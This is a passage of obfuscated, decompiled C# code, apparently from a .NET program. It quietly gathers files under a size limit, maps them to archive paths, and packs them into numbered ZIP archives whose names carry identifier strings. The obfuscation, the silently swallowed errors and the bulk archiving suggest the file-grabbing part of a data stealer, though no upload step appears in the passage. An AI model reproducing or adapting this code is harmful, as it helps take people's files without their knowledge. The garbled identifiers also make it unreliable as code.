Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "_", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, ".zip" })); Class_5.field_7.Add(string.Concat(new string[] { str_0, "_", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "_", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, ".zip" })); sayıInt_0++; str_0 = str_1 + str_2 + sayıInt_0.ToString(); Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.Clear(); num = 0L; } string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(text); string text2 = Class_58.kmethod_157(text); string text3 = Class_58.lmethod_158(Class_58.pmethod_159(text)); string str = string.Concat(new string[] { str_0, "\\\\", text3, "\\\\", fileNameWithoutExtension }); long length = new FileInfo(text).Length; if (Path.HasExtension(text) && length <= sayıUınt_0) { try { if (text2 != ".d") { if (Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.ContainsKey(text)) { if (length != new FileInfo(str + text2).Length) { Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.Add(text, string.Concat(new string[] { str_3, text2, "\\", text3, Class_5.field_11.Next(0, 9999).ToString() })); Class_5.field_1++; num += length; } } else { Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.Add(text, str_3 + text2 + "\\" + text3); Class_5.field_1++; num += length; } } } catch { } } } } if (!Class_58.xmethod_161(string.Concat(new string[] { str_1, str_2, sayıInt_0.ToString(), "_", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "_", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, ".zip" }))) { str_0 = str_1 + str_2 + sayıInt_0.ToString(); using (Class_168 class_2 = new Class_168()) { class_2.prop_34 = -1L; class_2.prop_17 = Class_169.Always; class_2.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb; class_2.prop_23 = Class_170.Always; class_2.prop_22 = Encoding.GetEncoding(866); class_2.prop_9 = Class_202.BestCompression; foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw) { try { class_2.pmethod_749(keyValuePair2.Key, keyValuePair2.Value); } catch { } } class_2.smethod_930(string.Concat(new string[] { str_0, "_", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "_", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, ".zip" })); } Class_5.field_7.Add(string.Concat(new string[] { str_0, "_", Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "_", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, ".zip" })); } Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.Clear(); GC.Collect(); }